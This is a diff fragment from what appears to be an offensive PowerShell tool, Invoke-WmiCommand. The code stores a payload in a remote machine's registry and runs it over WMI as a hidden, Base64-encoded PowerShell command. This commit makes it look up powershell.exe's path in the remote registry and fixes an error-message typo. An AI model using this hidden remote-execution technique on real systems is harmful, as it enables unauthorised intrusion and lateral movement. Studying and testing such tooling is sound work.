@@ -209,6 +209,8 @@ the output of your payload back. :P
209
209
' HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
210
210
}
211
211
212
+ $HKEY_LOCAL_MACHINE = 2147483650
213
+
212
214
$WmiMethodArgs = @ {}
213
215
214
216
# If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
@@ -253,6 +255,18 @@ the output of your payload back. :P
253
255
throw " [$Computer ] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
254
256
}
255
257
258
+ $PSSettingsPath = ' SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell'
259
+ $PSPathValueName = ' Path'
260
+
261
+ $Result = Invoke-WmiMethod @WmiMethodArgs - Namespace ' Root\default' - Class ' StdRegProv' - Name ' GetStringValue' - ArgumentList $HKEY_LOCAL_MACHINE , $PSSettingsPath , $PSPathValueName
262
+
263
+ if ($Result.ReturnValue -ne 0 ) {
264
+ throw " [$Computer ] Unable to obtain powershell.exe path from the following registry value: HKEY_LOCAL_MACHINE\$PSSettingsPath \$PSPathValueName "
265
+ }
266
+
267
+ $PowerShellPath = $Result.sValue
268
+ Write-Verbose " Full PowerShell path: $PowerShellPath "
269
+
256
270
$EncodedPayload = [Convert ]::ToBase64String([Text.Encoding ]::Unicode.GetBytes($Payload ))
257
271
258
272
Write-Verbose " [$Computer ] Storing the payload into the following registry value: $RegistryHive \$RegistryKeyPath \$RegistryPayloadValueName "
@@ -293,15 +307,15 @@ the output of your payload back. :P
293
307
294
308
$Base64Payload = [Convert ]::ToBase64String([Text.Encoding ]::Unicode.GetBytes($RemotePayloadRunner ))
295
309
296
- $Cmdline = " powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload "
310
+ $Cmdline = " $PowerShellPath -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload "
297
311
298
312
# Execute the payload runner on the remote system
299
313
$Result = Invoke-WmiMethod @WmiMethodArgs - Namespace ' Root\cimv2' - Class ' Win32_Process' - Name ' Create' - ArgumentList $Cmdline
300
314
301
315
Start-Sleep - Seconds 5
302
316
303
317
if ($Result.ReturnValue -ne 0 ) {
304
- throw " [$Computer ] Unable execute payload stored within the following registry value: $RegistryHive \$RegistryKeyPath \$RegistryPayloadValueName "
318
+ throw " [$Computer ] Unable to execute payload stored within the following registry value: $RegistryHive \$RegistryKeyPath \$RegistryPayloadValueName "
305
319
}
306
320
307
321
Write-Verbose " [$Computer ] Payload successfully executed from: $RegistryHive \$RegistryKeyPath \$RegistryPayloadValueName "
0 commit comments